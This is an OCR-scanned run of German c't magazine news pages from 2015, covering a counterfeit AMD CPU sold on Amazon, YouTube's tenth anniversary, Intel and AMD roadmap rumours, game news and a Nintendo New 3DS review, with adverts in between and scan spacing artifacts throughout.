sch l ießen können.  

Vieles an  d iesem Fa l l  wi rd sich 
erst i n  den nächsten Wochen 
klären. Bis dahin steht led ig l ich 

Dreist, aber auch däml ich:  Die Beschriftung auf der Oberseite 
der Fä lschung ( l inks) zeugt von professionel lem Equipment. 
Doch zu g lauben, das untersch iedl iche Pinout von AM2+ ( l inks) 
und FM2+ (rechts) würde nicht auffa l l en, ist na iv. 

fest: Jemand hat erhebl iche kri­
m ine l l e  Energie aufgewendet, 
um e ine a lte CPU neu zu be­
schriften und täuschend echt zu 
verpacken .  H i nweise auf ähn l i ­
che Fä l l e  l i efern Kundenbewer­
tungen auf der brit ischen Ama­
zon-Webseite. Die stammen von 
Mitte Januar  und mon ieren ein 
fa lsches Pinout der  ge l ieferten 
CPUs. ln einem britischen Over­
clocker-Forum wird ein weiterer 
Fa l l  d iskut iert. Die dort e inge­
ste l lten B i lder  zeigen dasse lbe 
Muster. 

Nachgefragt 

Wir konfrontierten sowoh l  Ama­
zon als auch AMD mit den Fä l­
schungen und wol lten wissen, ob 
weitere Fä l le bekannt s ind. Wäh­
rend Amazon Deutschland über­
haupt nicht antwortete, reagierte 
AMD vorbi ld l ich .  Al lerd ings war 
dem CPU-Herstel ler das Problem 
bis dato noch nicht bekannt - er­
staun l ich, denn d ie ersten Kun­
denbeschwerden aus England 
stammen vom 1 0. Januar und die 
Art der Fä lschung muss zwangs­
läufig zu Rückläufern führen, wei l  

Auch das holografische 
Siegel h indert die Fälscher 

nicht. Entweder konnten sie 
Origina lverpackungen 

erbeuten oder haben einen 
Weg gefunden, um die 

Packung von unten zu öffnen.  

AM2+ und FM2+ zueinander in­
kompatibel s ind. 

Ku rz vor Redaktionssch l uss 
bekamen wir soga r Besuch von 
einer hochrang igen AMD-Dele­
gation, d ie  das Beweisstück 
sel bst i n  Augenschein nehmen 
wol l te. Man versprach uns, so l­
che Betrugsversuche sehr ernst 
zu nehmen und d ie Que l le  a us­
fi nd ig zu machen. Fü r  besorgte 
Kunden hat AMD eine Webseite, 
d ie  erklä rt, welche Sicherungs­
mechanismen und -hologramme 
CPU und Packung tragen müs­
sen (siehe c't-Li nk  am Ende des 
Arti kels) .  

Unseren Leser Ka rsten K. wol l ­
te AMD übrigens n icht  auf Ama­
zon warten lassen, sondern hat 
angekünd igt, ihm unbü rokra­
tisch d i rekt eine neue FM2+-CPU 
zu schicken.  (bbe@ct.de) 

c't: Diskussionsforum und L inks: 
ct.de/yn5m 
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Das Software-Defined Data Center von VMware bietet 

durch die Erweiterung der Virtualisierung auf alle 

Ressourcen des Rechenzentrums - Rechner, Speicher, 

Netzwerk und Sicherheitsmanagement -und die 

Automatisierung des Managements unerreichte Agilität. 

Flexibilität und Auswahl. Damit können Unternehmen 

Anwendungen zu jedem Zeitpunkt. überall und auf allen 

Geräten einsetzen. und zwar innerhalb von Minuten statt 

von Tagen. Das ist Informations-technologie für das 

Zeitalter der Cloud. 

Besuchen Sie vmware.com/de/sddc 



aktuel l l 10  Jahre YouTube 

J o  Bager 

Der offene Kanal 
1 0  J a h re YouTu be 

YouTu be ist in nerha lb  e iner Dekade zum Gattungsbeg riff fü r Video 
im I nternet geworden:  Die Plattform dient als Sammelbecken fü r 
Katzenvideos und private Bewegtbi lder a l ler  Art, Ta lentschmiede 
und Plattform fü r eine neue Star-Generation sowie als I nformations­
quel le, wenn  klassische Medien passen müssen. 

E nde 201 4 wurde das Video "Gangnam 
Style" des koreanischen Rappers Psy 

2 1 47 483 647 Mal aufgerufen: Das war zu viel 
fü r YouTube. Der Dienst nutzte fü r den Zähler 
eine 32-Bit-l ntegerva riab le (mit Vorzeichen), 
mit der sich größere Zahlen nicht darste l len 
l ießen. Googles I ngenieure gestanden offen 
ein, n icht damit gerechnet zu haben, dass 
jemals ein Video so oft abgerufen wird. 

Auch andere Zah len belegen e ind rucks­
vol l  den riesigen Zuspruch: E ine Mi l l ia rde Be­
nutzer sehen mehr als sechs Mi l l ia rden Stun­
den an  Videos pro Monat und machen den 
Videodienst zur  d rittg rößten Site der Weit. 
YouTube ist i n  Eu ropa a l le ine fü r gut 1 7  Pro­
zent des l nternet-Traffics verantwort l ich. Der 
ohnehin schon riesige Video-Fundus wächst 
um 1 00 Stunden Materia l - pro Minute. 

Die meisten d ieser Videos werden woh l  
nur  von ih ren U rhebern angeschaut. Andere 
klassische YouTube-F i lme und -Memes dage­
gen s ind so or iginel l ,  l ustig oder absurd, dass 
Mi l l ionen Menschen weltweit sie getei lt und 
zu On l ine-Hits gemacht haben: Sta r Wars Kid, 
Numa Numa, Rickro l l i ng  und Katzen auf 
Staubsauger-Robotern sind längst I konen der 

1 8  

+ 

So fing a l les an :  YouTube­
Mitgründer Jawed Karim steht 
im Zoo und dokumentiert das 

mit einem wackl igen Video. 

I nternet-Ku ltur. Die Werbebranche setzt vol l  
a u f  d i e  Vi ra l i tät: "Winner Stays", bei dem N ike 
g leich eine ganze Reihe von Fußbal l-Super­
sta rs aufbietet, kam so 201 4 auf 1 00 Mi l l ionen 
Kl icks. Den riesigen Erfolg haben sich die d rei 
ehemal igen PayPa i-Mitarbeiter Chad Hu rley, 
Steve Chen und der aus  Deutsch land stam­
mende Jawed Ka rim woh l  kaum erträumt, als 
sie den Videodienst am 1 5 . Februar 2005 star­
teten .  Dass sich ausgerechnet YouTube 
gegen etl iche ähn l iche Dienste du rchsetzen 
konnte, l iegt woh l  auch daran, dass die Grün­
der Glück bei der F inanzierung hatten. 

Zunächst schob das Ris ikokapita l u nter­
nehmen Sequoia Capita l den Sta rt an, Ende 
2006 übernahm Goog le das U nternehmen 
fü r 1 ,65 M i l l iarden Do l l a r. Es hat aber noch 
et l iche Jahre gedauert, b is YouTube e in fi­
nanzie l l e r  E rfo lg wurde. E rst Anfang 201 2 
sprach La rry Page davon, dass sich d ie g roße 
Wette auf das Videoporta l ausgezah l t  hätte. 

Eigene Stars 

YouTube wa r schon sehr früh  ein wichtiges 
journa l istisches Med ium.  So strebte die Platt-

PewDiePie, 
aka Fel ix Arvid 
Ulf Kje l lberg, 
betreibt den 
mit Abstand 
erfo lgreichsten 
YouTube­
Kanal .  

form schon in  den ersten Jahren Kooperatio­
nen mit Medienhäusern wie NBC und CNN 
an .  D i e  große Stä rke von YouTube war und ist 
aber, dass jedermann B i lder aus  Gegenden 
l iefern kann, d ie Journa l isten nicht bereisen 
können, wei l es zu gefäh rl ich ist, aktue l l  etwa 
d ie Ostukra ine und die IS IS-Gebiete. 

Pol it iker und Promis nutzen YouTube seit 
jeher als WerbekanaL Das gilt auch fü r Musi­
ker, fü r d ie der Dienst zu einer Art MTV-Ersatz 
wurde. YouTube ist aber auch zu e iner  
Ta lentschmiede fü r neue Mus iker geworden, 
d ie erst du rch ih re Videos zu Onl ine-Bekannt­
heiten wurden und dann e inen P lattenver­
trag bekamen - Justin Bieber zum Beispiel .  

Es war YouTube immer wichtig, norma le 
Nutzer a l s  I nha lte-Lieferanten an  s ich zu b in­
den. Jedermann kann  s ich bereits ab  2007 an  
den Werbeerlösen betei l igen lassen, d ie  
se ine Videos einspie len. Im  Idea lfa l l  reichen 
d ie E innahmen sogar, um davon zu leben -
dem YouTuber beschert das ein E inkommen, 
YouTube einen eigenen Kanal ,  den es nur auf 
d ieser Plattform gibt. 

Seit 201 1 hat Goog le ein i nsgesamt 
300 M i l l ionen Do l l a r  schweres Förderpro­
g ramm aufgelegt, um solche "Orig ina l  Chan­
nels" zu etab l ieren. Mit Erfolg; d ie Channels 
tragen heute wesentl ich zum Erfolg bei . Der 
be l iebteste deutsche Channel ,  Gronkh, er­
reicht 3,5 Mi l l ionen Abonnenten. Der Schwede 
Fe l ix Arvid U lf Kje l l berg aka PewDiePie hat 
mit sei nem Channe l  soga r 34 M i l l ionen 
Abonnenten .  I nsbesondere d ie Generat ion 
U30 s ieht s ich l ieber Let's-P iay-, Comedy­
oder Schminktipp-Videos auf YouTube an a l s  
klassisches Fernsehen. 

Wo viel Geld verd ient wird, wo l len andere 
mitverd ienen. So l iegt YouTube hierzu lande 
seit Jah ren im Dauer-C l i nch mit der deut­
schen Musik-Verwertungsgesel l schaft GEMA, 
was zu vielen blockierten Videos führt, die im 
Rest der Welt zugäng l ich s ind .  Unbe l iebt 
macht sich auch N intendo, das an  Gewinnen 
von Let's-Piay-Videos mitverd ienen wi l l ,  
wenn d ie e igenen Spie le dar in vorkommen. 
Netzbetrei ber, d ie  i h re e igenen On l i ne­
Videotheken betre iben, würden YouTube 
gerne ausbremsen oder zumindest fü r den 
du rchgeleiteten Traffic d ie Hand aufha lten. 

E in  Med ium, i n  dem jeder Bü rger Miss­
stände dokumentieren kann, ist Reg ierenden 
ein Dorn im Auge. So wi rd YouTube in  China 
und Pakistan dauerhaft b lockiert, aber auch 
in  der Tü rkei, in  Marokko, i n  Tha i land und an­
deren Ländern ist es bereits zensiert worden. 
Woanders wird d ie  Offenheit der  P lattform 
fü r Propaganda missbraucht. Die Dschihadis­
ten des is lamischen Staats nutzen YouTube, 
um Kämpfer zu rekrutieren. 

Bei a l len recht l ichen, fi nanzie l len und po­
l it ischen Reibereien - mit seinem Kl ick-Zäh­
ler wi rd YouTube woh l  keine Probleme mehr 
haben. Er wurde auf 64 Bit umgeste l lt . Und 
bei a l lem Erfo lg :  9 223 372 036 854 775 808 
Ma l  wird woh l  n ie  e in Video aufgerufen 
werden.  (jo@ct.de) 

c't Eine Auswah l  wichtiger YouTube-Videos: 
ct.de/ype9 

c't 201 5, Heft 5 





aktuel l  I Prozessoren 

Andreas Sti l ler  

Prozessorgefl üster 
Von F u n kstö rern u n d  F u n ksti l l e  

Rekordzah len bei Apple, sch lechte Zah len bei AMD 
und schräge Zahlen bei Nvidia. H inzu kom men neue 
inoffizie l le  Roadmaps bei I ntel und AMD von 
Skylake und Zen. 

M it e inem in  der Szene noch 
n ie gesehenen Rekord­

qua rtal von 74,6 M i l l ia rden US­
Dol lar Umsatz und 1 8  Mi l l ia rden 
Dol lar  Gewinn hat Apple es nun 
geschafft, Samsung E lectron ics 
vom Sockel zu stoßen. Mit fast 
genau 200 Mi l l ia rden Do l l a r  Um­
satz i n  den vergangenen v ier  
Qua rta len (Apple hat das letzte 
Quarta l schon a l s  1 Q 1 5 b i lan­
ziert) ist d ie  ka l ifornisehe F i rma 
nun  auch im so kumu l ierten Jah­
resumsatz d ie N ummer e ins im 
IT-Business - be im Gewinn i s t  sie 
es eh schon lange. Samsung hat 
zu letzt mit 1 1  Prozent Umsatz­
e inbuße z ieml ich geschwächelt 
und ble ibt mit einem Jahresum­
satz von 206,2 B i l l ionen Won -
entspricht beim derzeitigen Dol­
la rku rs etwa 1 96 Mi l l ia rden Dol­
l a r - knapp darunter. 

Vie l le icht sol lte Apple jetzt 
ma l  netterweise AMD unter d ie  
ARMe g reifen, denn be i  den 
Nachbarn aus  Sunnyva le  ver l ief 
das letzte Quarta l wieder ma l  
recht enttäuschend. Mit 364 Mi l ­
l ionen US-Do l la r  Miesen und mit  
1 ,24 Mi l l ia rden Dol lar  um 22 Pro­
zent weniger Umsatz als im Vor­
jahresquarta l ist die Erho lung  
des  PC-Marktes anders a l s  bei 
I ntel offenbar in  Sunnyva le nicht 
so recht angekommen. 

Und Konkurrent I ntel wi l l  jetzt 
noch weiter a ufd rehen, jeden­
fa l l s, wenn d ie inoffizie l le  Road­
map zutrifft, d ie d ie chinesische 
Website vr-zone.com ausgegra­
ben, hat. Sie g ibt d ie  Note­
book/Desktop-P iäne fü r 201 5/ 
201 6 wieder und enthält a l s  Le­
cker l i  sogar  e inen nicht über­
taktungsgesicherten .,u n locked" 
Skyla ke-.. K"-Ch ip  mit 95 Watt i n  

AMDs Zen?  Nein, noch nicht, 
aber immerhin ein Carrizo mit 

Excavator-Kernen in  bewährter 
28-nm-Technik, hier noch 

in  den Fingern von Ex­
Computing-Chef John Byrne. 
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der Desktop-S-Klasse (Skylake-S). 
Und der soll schon in  der Jahres­
mitte herauskommen - kaum zu 
g lauben, warum sol l te I ntel sich 
sel bst überholen wol len? Ku rz 
vorher so l l  näml ich noch im 
zweiten Quartal der  schon l än ­
ger vermisste Broadwei i -K a l s  
unge lockter Vierkerner m i t  
65 Watt herauskommen, aber 
wi l l  den dann noch wer? 

Als erster Skylake-Ch ip ist laut 
Roadmap der  Zweikerner Sky­
lake-U fü r Notebooks mit 1 5  und 
28 Watt TDP vorgesehen. Wir 
vermuten, dass ihm aber ein Sky­
lake-Y a l s  Nachfolger des aktuel­
len Core M zuvorkommt - die V­
Typen fü r Tab lets und  kle ine 
Notebooks mit etwa 7 Watt TDP 
sind le ider n icht in  der Roadmap 
von vr-zone enthalten. Dafü r fi n­
det man i n  der höheren Atom­
Klasse .,N "  den zwischenzeit l ich 
i rgendwie verschüttgegangenen 
Braswel l  mit 1 4-nm-Ai rmont-Ker­
nen und 1 0 Watt TDP. Er so l l  a l s  
Nachfo lger des Bay-Tra i i -D-SoC 
zu Beg inn  des zweiten Quarta l s  
201 5 herauskommen.  Vorher 
dü rften d ie  ebenfa l l s  n icht auf 
der Roadmap verze ichneten 
Tablet-Atome mit Airmont-Kern 
namens Cherry Tra i l  debütieren, 
die man woh l  schon auf dem 
kommenden Mobile World Con­
g ress i n  Barcelona wird bewun­
dern dü rfen .  

I m  H igh  End a l s  Nachfo lger 
des Haswei i -E i s t  der (bezüg l ich 
Transactiona l  Memory repa rier­
te) Broadwei i -E  mit sechs und 
acht  Kernen, DDR4 und mit 1 40 

Watt TDP fü rs erste Quarta l 201 6 
vorgesehen. 

I ntel und DSL 

I ntel i s t  unterdessen pa ra l l e l  
dam i t  beschäft igt, neue Ge­
schäftsfelder aufzubauen. So hat 
d ie  amer ikan ische F i rma nun  
weitere Reste von l nfi neon ein­
gekauft, näml ich d ie i n  München 
ansäss ige F i rma Lant iq .  Lant iqs 
Schwerpunkt s ind DSL-Chips fü r 
G.FAST (angebl ich eine mögl iche 
Störque l le  fü r UKW und Ku rzwel­
le) und Vector ing, dazu F iber­
Techn ik und Netzwerkprozesso­
ren. Bis 2009 wa r Lantiq a l s  
.,Wi re l ine Communications" e ine 
Abtei l ung  bei l nfi neon, wurde 
dann an  e ine I nvestment-F i rma 
fü r etwa 250 M i l l ionen Dol l a r  
verkauft. Was nun  I ntel dafü r  be­
rappt hat, weiß man nicht. 

Roadmaps ausgraben und Ge­
rüchte zusammenbrauen können 
aber nicht nur  die Chinesen, son­
dern auch gelegentlich Eu ropäer, 
etwa d ie schwed ische Website 
sweclockers.com. Sie vermeldete, 
dass AMD nun  genau das ma­
chen wi l l ,  was Ex-Chef Rory Read 
schon angekündigt hatte: weg 
von dem eher missl ungenen Bul l ­
dozer-Design mit seinen getei l ­
ten Ressou rcen wie FPU, einem 
überhaupt nicht fü r Mu ltikernbe­
trieb vorgesehenen gemeinsa­
men I nstruktionscache und zu­
nächst auch mit getei lten Deco­
dern. Man wi l l  zurück zu einem 
Design mit individuel len Kernen, 
die weitgehend ihre eigenen Res­
sou rcen haben, so wie es Chef­
entwickler J im Kel ler mal zusam­
men mit dem späteren AMD-Chef 
Dirk Meyer erfo lgreich beim Ath­
lon rea l is iert hatte. Nun  sol l  es 
Zen so ab dem zweiten Ha lbjahr 
201 6 richten. Der erste Chip mit 
Codenamen Summit Ridge, ge­
fertigt in  1 4-nm-Technik und mit 
95 Watt TDP, sol l  nach den Infor­
mationen von sweclockers bis zu 
acht ind ividue l le  Kerne besitzen 
und wie die I ntel-Konku rrenz 
Zweifach-SMT unterstützen .  Ob 
J im Kel ler  dabei auch neue Ideen 

wie d ie VISC-Techn ik von Soft 
Machines vorgesehen hat, bei 
der mehrere Kerne an  einem 
Thread a rbeiten können - auch 
i nverses Hyper-Th read ing ge­
nannt -, b le ibt offen .  Auch von 
AVX5 1 2  hat man noch nichts ge­
hört, das dü rfte aber zu den 
Pfl ichtaufgaben gehören. 

Ob a l lerdings ein Erschei­
nungstermin im zweiten Ha lbjahr  
201 6 rea l istisch ist, erscheint frag­
würdig, steht doch 20 nm derzeit 
bei AMD-Designs noch in den 
Sternen. Bei den CPUs wartet 
man erst noch auf den Steam­
rol ler mit acht Modu len und 1 6  
Kernen i n  28 n m  und vor a l lem 
auf den Excavator - der auch erst 
einmal in 28-nm-Technik im Car­
rizo herauskommen sol l  und von 
dem AMD erste Notebooks auf 
der CES herumgezeigt hatte. Ex­
cavator so l l  e ine um 30 Prozent 
bessere S ing le-Th read-Leistung 
br ingen und bei  Desktops a l s  
.,Bristol Ridge" im Sockel FM3 mit 
DDR4 aufwarten. 

Vol l e  4 G Byte? 

Nvidia macht derwei l a ndere 
Schlagzeilen, näml ich mit tei ls  fa l­
schen, tei ls  recht missverständl i ­
chen Angaben zur Grafikkarte Ge­
Force GTX 970 (siehe S. 29). 5 1 2 
MByte des 4-GByte-Ka rtenspei­
chers s ind zwar vorhanden, aber 
nur langsam ansprechbar. N icht 
wenig Käufer ä rgern sich über die 
I rreführung, andere machen sich 
darüber lustig, auf YouTube oder 
in  der Werbung von AMD. Dabei 
ist so was ja so unübl ich nicht. Bei 
nicht wenigen früheren PCs war 
e in Tei l des e ingesteckten Spei­
chers - das sogenannte PCI-Loch 
- bis hin zu 1 GByte nicht nu r  
langsamer, sondern g leich ganz 
ausgeblendet. 

Ko l lege F ischer hat auf heise 
on l i ne  e inen krit ischen Kom­
mentar zu .,Nvidias schmutzigen 
Ka rtentr icks" veröffent l icht, da 
dü rfte nun  wohl erst e inmal  eine 
Zeit lang Funksti l l e  von Nvidia zu 
uns herrschen. 

Apropos Funksti l l e: Die hört 
man nun  auch beim NDR auf 
Mittelwel le, Mitte Januar wurden 
d ie letzten Sender abgescha ltet. 
SWR, MDR, H R, Bremen . . .  a l l e  
s i nd  schon weg. Vorbei d i e  Zeit, 
wo man mit ei nfachen, über­
sehauba ren Detektor-Empfän­
gern Rad io  hören konnte. Wel­
cher Bast ler hat nicht damit an­
gefangen? Und was mache ich 
jetzt mit meinen schönen, h isto­
rischen Empfängern? (as@ct.de) 
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aktuel l  I Spiele 

Neuauflage von Homeworld 

Die Weltraum-Echtzeitstrategie­
klassiker Homeworld und Home­
world 2 erscheinen am 25. Febru­
a r  201 5 in  überarbeiteter Version. 
Die Remastered-Co l l ection wird 
von Gea rbox vertrieben und bie­
tet hochauflösende Textu ren, 
schicke Grafi keffekte und e inen 
erweiterten Mehrspie lermodus. 
Bis zu acht Spieler können auf 23 
Ka rten gegeneinander antreten .  
Auch 4K-Bi ldschirme so l len un­
terstützt werden.  Überdies wur­
den d ie Soundeffekte und d ie 
Mus ik neu abgemischt und d ie 
Origina i-Videosequenzen für HD-

Bi ldschirme überarbeitet. Die u r­
sprüngl ichen Versionen von 
Homeworld 1 und 2 liegen eben­
fa l l s  bei . Das Spiel setzt die On­
l i ne-Spie leplattform Steam vo­
raus und sol l rund 30 Euro kosten. 

Homeworld spie lt im Weit­
raum und nutzt eine d reidimen­
s iona le Steuerung - im Unter­
schied zu den meisten Echtzeit­
strategiespielen, die sich auf eine 
isometr ische Perspektive be­
schränken. Übrig gebl iebene Ein­
heiten und Energieressou rcen 
werden i n  die fo lgende Miss ion 
übernommen. (mfi@ct.de) 

Die über­
a rbeiteten 
Versionen von 
Homeworld 
1 und 2 er­
scheinen a ls  
Remastered 
Col lection am 
25.  Februar. 

Nintendo giert nach Geld von Let's-Piayern 

Wer N i ntendo-Spie le a ufzeich­
net und auf Youtube hochlädt, 
der musste bis dato befü rchten, 
dass se ine Videos wegen U rhe­
berrechtsbeschwerden gesperrt 
werden .  Im Unterschied zu 
manch anderem Spieleherste l ler  
wi l l  N i ntendo näml ich an  den 
Werbee innahmen von Let's­
P iay-Videos mitverd ienen.  Dass 
Let's P lays ohneh in bereits kos­
tenlose Werbung fü r Spie le s ind, 
reicht N intendo offenkund ig  
n icht  aus .  Deswegen hat d ie  
F i rma e in .. N i ntendo Creators 
Program" eröffnet. das s ich zu­
nächst i n  einer Beta-Phase befin-

Lego-Spielschwemme 

Warner Bros hat  fü r 201 5 neue 
Titel der bel iebten Lege-Video­
spiele angekünd igt, die meist 
auch einen kooperativen Mehr­
spielermodus mitbringen . .,Lego 
Ninjago: Schatten des Ronin" soll 
am 26. März fü r den Nintendo 
3DS und die Playstation Vita er­
scheinen. Spieler können Ninja­
Spezia l kräfte einsetzen, um Geg­
ner zu besiegen und Rätsel zu 
lösen . .,Lego Ju rassie World" er­
scheint im Juni und sol l Elemente 
aus a l len vier Jurassie-Park-Fi lmen 
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det. Um Mitschn itte von N inten­
do-Videos zu veröffent l ichen, 
so l l  man sich dort anmelden und 
Werbeeinnahmen mit N intendo 
tei len. E ingeschlossen s ind selbst 
U ra lt-Spie le wie Super Mario 64 
oder Donkey Kong fü r den Game 
Boy. Die Werbeei nnahmen fl ie­
ßen als eine Art Schutzge ld zu­
nächst komplett an  d ie F i rma 
N intendo, die dann zwei Monate 
später einen Antei l  von 70 Pro­
zent (bei reg istriertem Channel )  
beziehungsweise 60 Prozent 
(pro Einzelvideo) an  den Paypa i­
Account des Let's-P iayers aus­
zahlt .  (mfi@ct.de) 

enthalten. Es läuft auf a l len gängi­
gen Konsolen und Windows-PCs. 
Eine Lego-Ausgabe mit .,Marvel's 
Avengers" soll im Herbst fo lgen. 
Dort sch l üpft der Spieler in die 
Rol le untersch ied l icher Superhel­
den und muss nichts weniger a ls  
die Menschheit retten. Fürs iPho­
ne, iPad und iPod tTouch sol l  
.,Lego Batman 3: Jenseits von Go­
tham" im Frühl ing erscheinen. ln  
d iesem Spiel lassen sich laut  War­
ner über 1 50 spielbare Charaktere 
freischalten. (mfi@ct.de) 

7 Days to Die - Minecraft für Erwachsene 

Das Open-World-Spiel ..7 Days to 
Die" kombin iert das popu läre 
Über lebens-Szenario der Zom­
bie-Apoka lypse mit einem um­
fangreichen System zur Herste l­
lung überlebensnotwendiger Ge­
genstände (Craft ing) und der 
Mög l ichkeit, a l le E lemente der 
Spielweit ab- und umzubauen .  
Um e ine Minecraft-ähnl iche Klötz­
chenweit zu vermeiden, setzt das 
Herstel ler-Team .. The Fun Pimps" 
auf Voxei-Technik. 

Der Spieler startet in einer gro­
ßen Zombie-verseuchten Spiel­
weit und muss aus gefundenem 
und abgebautem Materia l  eigene 
Waffen, Werkzeuge, K le id ung 
und Lebensmittel herste l len. Sind 
die Zombies tagsüber noch lang­
sam, werden sie nachts schne l l  
und damit zum ernsten Problem. 
l n  jeder siebten Nacht laufen sie 
Amok. Da Zombies Tü ren, Wände 
und sonstige Hindernisse du rch­
brechen können, über lebt man 
nur  gut verba rrikadiert. Zur Ver­
teid igung lassen sich unter ande­
rem Fal len und Minen herstel len 
- hier ähnelt ..7 Days to Die" 
einem Tower-Defense-Spiel .  

Noch bekommt man ..7 Days 
to Die" nu r  a l s  unfertige, aber  
bereits gut  sp ie lba re .,Ear ly-Ac­
cess"-Version .  Die aktue l le  Alpha 
1 0.4 (b1  0) erweitert d ie  Ka rte 
um neue Orte wie einen Super­
markt und  enthä l t  e inen u m­
fangreichen Editor zum Anpas­
sen der  Spie lfi gu r. Auf Wunsch 
kann  man die Spielweit a uch 
zufä l l i g  erzeugen .  Das fu nktio­
niert bereits i n  der aktue l len Ver­
s ion sehr gut  mit verschiedenen 
U mgebungen und Gebäuden .  
Fü r  d ie  Ende Februa r  erwa rtete 
A lpha-Version 1 1  so l len Waffen 
überarbeitet und erweitert wer­
den .  Au ßerdem kommen e in  
verbesserter Zufa l l sgenerator 
sowie Steam Networking hinzu. 
Zur  weiteren P lanung gehört e in 
fahrbares M in ib ike, u m  damit 
g roße Entfernungen schne l l  zu 
überwinden - es muss natür l ich 
se l bst hergeste l l t  werden .  Be­
sonders fü r den kooperativen 
Mehrspie lermodus  ist ein sol­
ches Fah rzeug lä ngst überfä l l ig .  
..7 Days to D ie"  i s t  be i  Steam fü r 
rund 23 Euro zu bekommen.  

(rop@ct.de) 

7 Days to Die kombin iert ein umfangreiches Crafting-System 
mit dem Szenario einer Zombie-Apoka lypse. 

@ Spiele-Notizen 

U bisoft löschte bestim mte Spiele aus  uP iay-Accounts von 
Kunden, deren Keys bei vermeint l ich betrügerischen Dritt­
anbietern erworben wurden. 

Die in  c't-Ausgabe 4-1 5 fü r The Witcher 3 genannten System­
voraussetzungen reichen nur fü r 30 fps i n  Fu l l  HD aus. Dies hat 
der Entwickler CD Projekt Red zwischenzeit l ich bekannt gege­
ben. Fü r  d iese Auflösung muss mindestens eine AMD Radeon 
R9 290 oder Nvidia GeForce GTX 770 im Rechner stecken. 

Die Erweiterung Dead Kings ist fü r a l le Spie ler von Assassin's 
Creed Un ity fü r PC, P laystation 4 und X box One kostenlos 
erhä lt l ich. 
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30, wie es sein sol l  

Nintendo bringt am 1 3 . Februar 
zwei rundum erneuerte Mode l le  
se iner  mobi len Spie lkonsole 3DS 
auf den Markt. Die übera rbeite­
ten Geräte hören auf die Namen 
"New 3DS" und "New 3DS XL" .  
S ie sp ie len a l le 3DS- und DSi­
Titel ab  und unterscheiden sich 
wie bisher i n  der B i ldsch i rm­
g röße, der Akku la ufzeit und 
beim Preis. 

D ie wicht igste Neuerung ist 
der  verbesserte au tostereosko­
pische 3D-B i ldsch i rm.  Zwa r hat 
s ich dessen Auflösung nicht ver­
ändert, mit H i l fe der e ingebau­
ten Kamera verfo lgt d ie  Konsole 
a l le rd ings d ie  Kopfposit ion des 
Spie lers und richtet d ie 3D-Dar­
stel l u ng  optima l  a uf se ine 
Augen aus .  Dadu rch treten nur 
noch bei sehr he l len B i ldern 
ganz le ichte Moi re-Muster a uf. 
l n  Sp ie len s ind s ie n icht mehr 
auszumachen. Das 3D-Bi ld  wi rkt 
deut l ich k larer und  ruh iger  a l s  
b isher. D i e  störenden Streifen 
und  Geisterb i lder  der  Vorgän­
germode l l e  s ind komp lett ver­
schwu nden .  So gut sieht man 
3D sonst nu r  mit Bri l l e, d ie  man 
s ich beim 3DS sparen ka nn .  
Zah l reiche Titel w ie  Lu ig i's Man­
s ion 2 oder Mario Ka rt 7 profitie­
ren davon immens. 

Darüber hinaus hat N intendo 
d ie Steuerknöpfe erweitert und 
das bisher nur a l s  Zubehör er­
hä l t l iche Circ le Pad Pro i nte­
g riert. Die Zeigefinger  können 
nun  jewei ls  zwei gut  erreichba re 

aktuel l  I Spie lkonsole 

Schu l tertasten drücken. E in klei­
ner Gummipuck er la ubt dem 
rechten Daumen i n  e in igen Ac­
t ion-Spie len die Steuerung der 
Kamera-Perspektive. Wenn er 
auch fre i l ich nicht so präzise ist 
wie auf einem großen Gamepad, 
er l aubt er doch e ine feinfüh l ige 
Justage. Vom bisher igen Reper­
toire an 3DS-Spie len unterstüt­
zen aber nur  sehr wenige Action­
Spiele den zweiten Stick. Am 
besten umgesetzt ist d ies noch 
i n  Res ident Evi l Revelat ions .  
Neue Tite l  werden den Kamera­
Stick jedoch häufiger e insetzen .  
Dazu gehören d ie Neuauflage 
von Zelda:  Majora's Mask sowie 
Monster Hunter 4 U ltimate, d ie  
pa ra l l e l  zum New 3DS erschei­
nen. 

Im Test h ie l t  der Akku des 
New 3DS XL mit e ingeschalteter 
3D-Da rste l l ung  5 :45 Stunden 
du rch. Von der höheren Rechen­
leistung des New 3DS profitieren 
bisher ige Titel led ig l ich du rch t 
etwas kü rzere Ladezeiten. Down­
load-Spie le speichert die Kon­
sole auf einer mitge l ieferten aus­
ta uschbaren microSD-Ka rte mit 
4 GByte. Spie le von a l ten DSi­
und 3DS-Konsolen lassen s ich 
übertragen. 

Die kl e ine Vers ion des New 
3DS kostet rund 1 70 Eu ro, das 
g roße XL-Model l etwa 200 Euro. 
Ausgel iefert werden beide Gerä­
te ohne Netztei L Bisherige Netz­
tei le der DSi und 3DS lassen sich 
weiterverwenden. (hag@ct.de) 

Der New 3DS wartet mit einer erstaun l ich 
verbesserten 3D-Darstel lung auf, von der 
auch viele a lte Spiele profitieren.  
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Effizie ntes Kosten m a n agement i st die Ba sis fUr WettbewerbsfähigkeiL 

KYOCERA Docu ment Sa lut ions  beherrscht  die K u n st ,  I h re Kosten fUr 
D o k u m e n te n p rozesse, D r u c ka u sg a b e  u n d  Verbra u chsmate r i a l i e n  zu 

sen k e n .  Mit  KYOCERA Cost Contro l  & Sec:urity - L ö s u n g e n  fOr zeitspa­
rende Dig ltal is ierung Ober automat is ierte Dokumenten-Wo rkflows 
b i s  z u r  regelbasierte n  Drucka u sgabe.  M a c h e n  S i e  s ich selbst  e i n  
e ind rucksvol les B i ld v o m  e n o r m e n  E i nspar potenzial  i n  I h rem U n ter­

nehmen - m i t  KYOC E R A  Do c u m e n t Solu t i o ns.  

KYO C E R A  Docu m e n t  Salut ions Deutsc h l a n d  G m b H  
l nfol l n e  0800 187 187 7 
www.or igi n a l to n e r. kyocera . d e  

KYOC E R A  Doc u m e nt S a l u t i o n s  l n c .  
www. kyoc:e radocu men tso l u l i o n s .c:om 



aktuel l  I Mobi les 

Android-Tablets von HP mit U ltraschallstift 

Statt eines klassischen Dig itizer kommt bei 
H Ps And roid-Tab lets Pro S late 8 und Pro 
Slate 1 2  e ine ungewöhn l iche Stifterkennung 
mit U ltrascha l l  zum E insatz. Die Techn ik  
stammt von Qualcomm wie  auch  der Quad­
Core-Prozesser Snapdragon 800 i n  beiden 
Tablets. Fünf Mikrofone rund ums Disp lay 
lauschen auf akustische S igna le des batterie­
betriebenen Stifts, aus denen die CPU die Po­
sit ion des Styl us  errechnet. Anders a l s  bei 
herkömml ichen Dig it izer-Stiften kann  man 
auch neben dem Tablet auf Papier schreiben, 
der Stift hat dafü r  eine Kugelschreibermine. 
Die Skizzen erscheinen trotzdem auf dem 
Disp lay. Laut HP  ist fü r d ie optimale Übertra­
gung die zusätzl iche Hü l l e  Paper Fol io nötig, 
